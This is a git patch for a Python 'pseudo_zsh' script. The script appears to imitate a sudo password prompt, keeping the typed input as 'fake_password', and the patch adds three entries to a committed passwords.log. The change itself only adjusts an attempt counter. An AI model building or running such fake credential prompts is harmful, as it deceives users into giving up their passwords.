From 8740aa0e1285e67a293cff9123dad3137aeaa0aa Mon Sep 17 00:00:00 2001 From: HeXiangLong <3234374354@qq.com> Date: Mon, 7 Apr 2025 08:51:02 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=20sudo=20=E5=AF=86=E7=A0=81?= =?UTF-8?q?=E8=BE=93=E5=85=A5=E9=80=BB=E8=BE=91=E4=B8=AD=E7=9A=84=E8=AE=A1?= =?UTF-8?q?=E6=95=B0=E5=99=A8=E5=88=9D=E5=A7=8B=E5=8C=96=EF=BC=8C=E5=B0=86?= =?UTF-8?q?=E8=AE=A1=E6=95=B0=E5=99=A8=E4=BB=8E=201=20=E6=94=B9=E4=B8=BA?= =?UTF-8?q?=200?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- main.py | 2 +- passwords.log | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 9384a3f..43a9f05 100644 --- a/main.py +++ b/main.py @@ -79,7 +79,7 @@ def pseudo_zsh(): if args[0] == 'sudo': flight1 = True - a = 1 + a = 0 for attempt in range(3): # 循环 3 次 a += 1 fake_password = getpass.getpass("Password: ") diff --git a/passwords.log b/passwords.log index 19ae265..06c4648 100644 --- a/passwords.log +++ b/passwords.log @@ -27,3 +27,6 @@ [2025-04-07 08:48:57] 1 [2025-04-07 08:48:59] 1 [2025-04-07 08:49:01] 1 +[2025-04-07 08:50:48] 1 +[2025-04-07 08:50:49] 1 +[2025-04-07 08:50:50] 1